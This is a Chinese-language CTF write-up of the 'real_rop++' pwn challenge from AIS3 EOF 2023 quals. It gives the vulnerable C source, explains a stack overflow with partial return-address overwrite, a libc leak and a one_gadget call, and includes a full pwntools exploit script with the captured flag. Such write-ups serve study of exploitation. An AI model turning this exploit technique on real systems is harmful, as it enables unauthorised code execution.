0%

AIS3 EOF 2023 Quals Writeup

前言

這次跟朋友組隊打AIS3 EOF,結果被打爆了

成績

隊伍:第40名(共92隊)

個人:只解掉一題pwn

Writeup

real_rop++ (445 points)

環境

1
2
Ubuntu 20.04
glibc 2.31

source code

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>

int main(){
char buf[0x10];

read(0, buf, 0x30);
write(1, buf, 0x30);

return 0;
}

很明顯的棧溢出,測試後發現return address距離buf 0x18 bytes

防護機制

想法

它有write,可以用這點來leak address,這樣我們如果能回到main,就有機會攻擊,但它開了PIE,所以要用partial write的方式來打。

在main結束後會return到<libc_start_main+243>的地方,但libc_start_main也會在程式開始、還沒進到main之前被呼叫,之後就會呼叫一些函數,然後進到main

所以我們可以把return address蓋成libc_start_main上的某個地方,讓他再次回到main,由於他在read完後會write,我們可以利用這點leak出libc的base address
這樣再次回到main之後就有one gadget可以利用

exploit

那個b’\x10’是我通靈測試出來的,然後return address最右邊的那三位原本是0x83,但被我們蓋成0x10,所以在算libc base address的時候要調一下
然後one_gadget有l2這個選項,可以找出更多gadget
後續在測試的時候發現在local端無法拿到shell,但remote端可以。應該是one_gadget的條件問題,但我試了所有的one_gadget都不行,神奇
但我不打算繼續測了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

Host = 'edu-ctf.zoolab.org'
Port = 10014

context.arch = 'amd64'
context.log_level = 'debug'


r = remote(Host, Port)
#r = process('./chal')

elf = ELF('./chal')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')


offset = 0x10 + 0x8
r.send(b'a' * offset + b'\x10')

libc_start_main = u64(r.recv(0x30)[0x18:0x20]) + 0x83 - 0x10
libc_base = libc_start_main - 0x24083

print("libc base: ", hex(libc_base))

one_gadget = libc_base + 0x84143

payload = b'a' * offset + p64(one_gadget)
r.send(payload)

r.interactive()

'''
FLAG{pancake_fc5930a6007fef9b7d998f205417e671}
'''